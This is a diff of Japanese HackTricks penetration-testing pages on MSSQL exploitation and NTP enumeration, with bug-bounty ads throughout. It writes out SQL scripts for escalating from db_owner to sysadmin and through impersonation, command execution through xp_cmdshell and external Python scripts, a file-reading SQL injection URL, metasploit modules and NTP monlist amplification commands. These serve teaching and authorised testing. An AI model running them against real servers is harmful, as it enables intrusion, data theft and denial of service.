コマンドを実行するためには、**`xp_cmdshell`**が**有効化されているだけでなく、`xp_cmdshell`ストアドプロシージャに対する**EXECUTE権限**も必要です。以下のコマンドを使用して、**`xp_cmdshell`**を使用できるユーザー(sysadmins以外)を取得できます。
|
||||
コマンドを実行するためには、**`xp_cmdshell`**が**有効化**されているだけでなく、**`xp_cmdshell`ストアドプロシージャのEXECUTE権限**も必要です。以下のコマンドを使用して、**`xp_cmdshell`**を使用できるユーザー(sysadmins以外)を確認できます。
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -280,7 +341,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
ツールの**responder**や**Inveigh**を使用することで、**NetNTLMハッシュを盗む**ことができます。\
|
||||
ツールである**responder**や**Inveigh**を使用することで、**NetNTLMハッシュを盗む**ことができます。\
|
||||
これらのツールの使用方法は以下を参照してください:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
|
@ -289,7 +350,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### MSSQLの信頼リンクの悪用
|
||||
|
||||
この機能を悪用する方法については、[**この投稿**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を読んで詳細を確認してください:**
|
||||
この機能を悪用する方法については、[**この記事**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **を読んで詳細を確認してください:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
|
||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
|
@ -297,7 +358,7 @@ EXEC sp_helprotect 'xp_fileexist';
|
|||
|
||||
### **ファイルの書き込み**
|
||||
|
||||
`MSSQL`を使用してファイルを書き込むには、管理者特権で[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を有効にする必要があり、その後、いくつかのストアドプロシージャを実行してファイルを作成します。
|
||||
`MSSQL`を使用してファイルを書き込むには、管理者特権が必要なため、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を有効にする必要があります。その後、いくつかのストアドプロシージャを実行してファイルを作成します。
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
|
@ -321,7 +382,7 @@ EXECUTE sp_OADestroy @OLE
|
|||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
しかし、**`BULK`** オプションを使用するには、**`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** の権限が必要です。
|
||||
ただし、**`BULK`** オプションを使用するには、**`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** の権限が必要です。
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
|
@ -338,11 +399,11 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
|||
|
||||
MSSQLでは、**Pythonと/またはRのスクリプトを実行**することができます。これらのコードは、コマンドを実行するために**xp\_cmdshell**を使用するユーザーとは**異なるユーザー**によって実行されます。
|
||||
|
||||
**'R'**の _"Hellow World!"_ を実行しようとする例(**動作しません**):
|
||||
例:**'R'**の _"Hellow World!"_ **が動作しない**場合の例:
|
||||
|
||||
![](<../../.gitbook/assets/image (185) (1).png>)
|
||||
|
||||
複数のアクションを実行するために設定されたPythonを使用する例:
|
||||
複数のアクションを実行するために設定されたPythonを使用した例:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
|
@ -381,31 +442,40 @@ Use master;
|
|||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
### MSSQLユーザー定義関数-SQLHttpによるRCE <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
**その他の例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を参照してください。
|
||||
|
||||
カスタム関数を使用して、MSSQL内で.NET dllをロードすることが可能です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続は`sa`または管理者権限である必要があります。
|
||||
### MSSQLユーザー定義関数でのRCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
カスタム関数を使用して、MSSQL内で.NET dllを読み込むことが可能です。ただし、これには`dbo`アクセスが必要ですので、データベースへの接続は`sa`または管理者の役割である必要があります。
|
||||
|
||||
[**このリンク**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)を参照して、例をご覧ください。
|
||||
|
||||
### RCEの他の方法
|
||||
|
||||
コマンドの実行を取得するための他の方法もあります。例えば、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)の追加、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)を追加する方法があります。
|
||||
コマンドの実行を取得するための他の方法もあります。例えば、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)の追加、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)の追加があります。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## MSSQL特権昇格
|
||||
|
||||
### db\_ownerからsysadminへ
|
||||
|
||||
**通常のユーザー**が、**管理者**ユーザー(例:**sa**)が所有するデータベースに対して**`db_owner`**の役割を与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの特権を悪用して**特権昇格**を行うことができます。なぜなら、そのデータベースに作成されたストアドプロシージャが所有者(**管理者**)として実行できるからです。
|
||||
**通常のユーザー**が、**管理者**ユーザー(例:**sa**)が所有するデータベースに対して**`db_owner`**の役割を与えられ、そのデータベースが**`trustworthy`**として構成されている場合、そのユーザーはこれらの特権を悪用して**特権昇格**を行うことができます。なぜなら、そのデータベースに作成された**ストアドプロシージャ**が所有者(**管理者**)として実行されるからです。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -439,7 +509,7 @@ EXEC sp_elevate_me
|
|||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
**metasploit**モジュールを使用することができます:
|
||||
**metasploit**モジュールを使用することができます。
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
|
@ -480,11 +550,11 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
この攻撃は、**metasploit**モジュールを使用して実行することができます。
|
||||
この攻撃は**metasploit**モジュールを使用して実行することができます。
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
または、**PS** スクリプトを使用しても実行できます:
|
||||
または、**PS** スクリプトを使用しても同様の結果を得ることができます:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
|
@ -496,8 +566,8 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
|||
|
||||
## ローカル特権昇格
|
||||
|
||||
MSSQLサーバーを実行しているユーザーは、特権トークン**SeImpersonatePrivilege**が有効になっています。\
|
||||
おそらく、次のいずれかのページに従って**管理者に昇格**することができるでしょう:
|
||||
MSSQLサーバーを実行しているユーザーは、特権トークン**SeImpersonatePrivilege**を有効にしています。\
|
||||
おそらく、次のいずれかのページを参考にして、**管理者に昇格**することができるでしょう:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -523,15 +593,22 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **ウェブ3のバグについて詳しく学ぶために**
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
🐞 ウェブ3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register) ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## HackTricks自動コマンド
|
||||
```
|
||||
|
@ -593,7 +670,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,15 +12,22 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
|
@ -33,49 +40,59 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
## 列挙
|
||||
|
||||
### NTP (Network Time Protocol)
|
||||
### NTPサービスの概要
|
||||
|
||||
NTPは、ネットワーク上のデバイスが正確な時刻を同期するために使用するプロトコルです。NTPサーバーは、時刻情報を提供するためにUDPポート123を使用します。
|
||||
NTP(Network Time Protocol)は、ネットワーク上のデバイスが正確な時刻を同期するために使用されるプロトコルです。NTPサービスは、クライアントがNTPサーバーに対して時刻情報を要求し、サーバーが応答する仕組みで動作します。
|
||||
|
||||
#### NTPのバージョンの特定
|
||||
### NTPサービスのポート
|
||||
|
||||
NTPサーバーのバージョンを特定するために、以下のコマンドを使用します。
|
||||
NTPサービスは、デフォルトでUDPポート123を使用します。
|
||||
|
||||
```bash
|
||||
ntpdate -q <IP>
|
||||
```
|
||||
### NTPサービスの列挙手法
|
||||
|
||||
#### NTPサーバーのリストの取得
|
||||
NTPサービスの列挙には、以下の手法があります。
|
||||
|
||||
NTPサーバーのリストを取得するために、以下のコマンドを使用します。
|
||||
1. ポートスキャン: Nmapなどのツールを使用して、ターゲットシステム上のポート123が開いているかどうかを確認します。
|
||||
|
||||
```bash
|
||||
ntpq -p <IP>
|
||||
```
|
||||
2. NTPクライアントの使用: NTPクライアントを使用して、ターゲットシステムのNTPサーバーに対して時刻情報を要求します。応答がある場合、サーバーの情報を取得できます。
|
||||
|
||||
#### NTPサーバーの脆弱性のスキャン
|
||||
3. NTPサーバーの情報取得: NTPサーバーの情報を取得するために、NTPサーバーに対して特定のクエリを送信します。これにより、サーバーのバージョンや設定情報などを取得できます。
|
||||
|
||||
NTPサーバーの脆弱性をスキャンするために、以下のコマンドを使用します。
|
||||
4. NTPサーバーの脆弱性スキャン: NTPサーバーに対して脆弱性スキャンを実行し、セキュリティ上の問題を特定します。NTPサーバーのバージョンや設定によっては、様々な脆弱性が存在する可能性があります。
|
||||
|
||||
```bash
|
||||
nmap -p 123 --script=ntp-info,ntp-monlist,ntp-ntpv2,ntp-scan <IP>
|
||||
```
|
||||
### NTPサービスの列挙結果の解析
|
||||
|
||||
#### NTPサーバーのモニタリング
|
||||
NTPサービスの列挙結果を解析する際には、以下の情報に注目します。
|
||||
|
||||
NTPサーバーのモニタリングを行うために、以下のコマンドを使用します。
|
||||
1. サーバーのバージョン: サーバーのバージョン情報は、脆弱性の特定や攻撃手法の選択に役立ちます。
|
||||
|
||||
```bash
|
||||
ntpdc -c monlist <IP>
|
||||
```
|
||||
2. サーバーの設定情報: サーバーの設定情報は、セキュリティ上の問題や攻撃手法の選択に影響を与える可能性があります。
|
||||
|
||||
#### NTPサーバーの構成ファイルの解析
|
||||
3. サーバーの応答時間: サーバーの応答時間は、サービスの可用性やパフォーマンスに関する情報を提供します。
|
||||
|
||||
NTPサーバーの構成ファイルを解析するために、以下のコマンドを使用します。
|
||||
### NTPサービスの攻撃手法
|
||||
|
||||
```bash
|
||||
cat /etc/ntp.conf
|
||||
```
|
||||
NTPサービスに対する攻撃手法には、以下のものがあります。
|
||||
|
||||
1. NTPサーバーの乗っ取り: 脆弱性を悪用してNTPサーバーを乗っ取り、攻撃者が任意の時刻情報を送信できるようにします。
|
||||
|
||||
2. NTPサーバーの過負荷攻撃: 大量のNTPリクエストを送信して、NTPサーバーを過負荷状態に追い込みます。
|
||||
|
||||
3. NTPサーバーの情報漏洩: サーバーの設定情報や時刻情報が漏洩する可能性があります。これにより、攻撃者はサーバーの脆弱性を特定し、攻撃を行うことができます。
|
||||
|
||||
### NTPサービスの対策
|
||||
|
||||
NTPサービスの対策としては、以下のことに注意する必要があります。
|
||||
|
||||
1. 最新のバージョンの使用: NTPサーバーを最新のバージョンにアップデートし、セキュリティパッチを適用します。
|
||||
|
||||
2. 不要な機能の無効化: 不要な機能を無効化することで、攻撃者の攻撃対象を減らすことができます。
|
||||
|
||||
3. アクセス制御の設定: NTPサーバーへのアクセスを制限するために、適切なアクセス制御リスト(ACL)を設定します。
|
||||
|
||||
4. ログの監視: NTPサーバーのログを監視し、異常なアクティビティを検知することが重要です。
|
||||
|
||||
5. セキュリティ意識の向上: システム管理者やユーザーに対して、NTPサービスのセキュリティに関する意識を高める教育を行います。
|
||||
```bash
|
||||
ntpq -c readlist <IP_ADDRESS>
|
||||
ntpq -c readvar <IP_ADDRESS>
|
||||
|
@ -95,11 +112,11 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
|||
|
||||
## NTP増幅攻撃
|
||||
|
||||
[NTP DDoS攻撃の仕組み](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
[**NTP DDoS攻撃の仕組み**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
NTPプロトコルは、TCPのようなハンドシェイクを必要としないUDPを使用して動作するため、リクエストの記録はありません。そのため、NTP DDoS増幅攻撃は、攻撃者がスプーフィングされた送信元IPを使用してパケットを作成し、それらをNTPサーバーに送信することから始まります。攻撃者は最初に数バイトのパケットを作成しますが、NTPは大量のデータで応答するため、この攻撃が増幅されます。
|
||||
|
||||
_MONLISTコマンド_: これはNTPプロトコルのコマンドであり、ほとんど使用されませんが、このコマンドがこの攻撃の主な原因です。ただし、MONLISTコマンドの使用目的は、NTP時刻サービスに接続した最後の600のクライアントの詳細を提供することです。以下はコマンドの構文です:
|
||||
_MONLISTコマンド_: これはNTPプロトコルのコマンドであり、ほとんど使用されませんが、このコマンドがこの攻撃の主な原因です。ただし、MONLISTコマンドの使用目的は、NTP時刻サービスに接続した最後の600のクライアントの詳細を提供することです。以下にコマンドの構文を示します:
|
||||
```bash
|
||||
ntpdc -n -c monlist <IP>
|
||||
```
|
||||
|
@ -126,24 +143,31 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報酬について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**。
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,23 +12,30 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## CSPとは
|
||||
|
||||
コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、**クロスサイトスクリプティング(XSS)**などの攻撃から保護するための組み込みブラウザ技術です。ブラウザが安全にリソースを読み込むことができるパスとソースをリスト化および説明します。リソースには、画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースの読み込みとインラインでの実行、および`eval`、`setTimeout`、`setInterval`などの文字列コード実行関数の許可例です。
|
||||
コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、**クロスサイトスクリプティング(XSS)などの攻撃から保護するための組み込みブラウザ技術**です。ブラウザが安全にリソースを読み込み、実行できるパスとソースをリスト化および説明します。リソースには、画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースをインラインで読み込み、実行することを許可する例です。また、`eval`、`setTimeout`、`setInterval`などの文字列コード実行関数も許可されます。
|
||||
|
||||
コンテンツセキュリティポリシーは、**レスポンスヘッダ**または**HTMLページのメタ要素**を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
|
||||
コンテンツセキュリティポリシーは、**レスポンスヘッダー**または**HTMLページのメタ要素**を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。
|
||||
|
||||
レスポンスヘッダを介して実装されます:
|
||||
レスポンスヘッダーを介して実装されます:
|
||||
```http
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
|
@ -79,11 +86,11 @@ object-src 'none';
|
|||
* \*: これは`data:`、`blob:`、`filesystem:`スキーム以外の任意のURLを許可します。
|
||||
* **self**: このソースは、ページ上のリソースのロードが同じドメインから許可されていることを定義します。
|
||||
* **data**: このソースは、データスキームを介してリソースをロードすることを許可します(例:Base64エンコードされた画像)。
|
||||
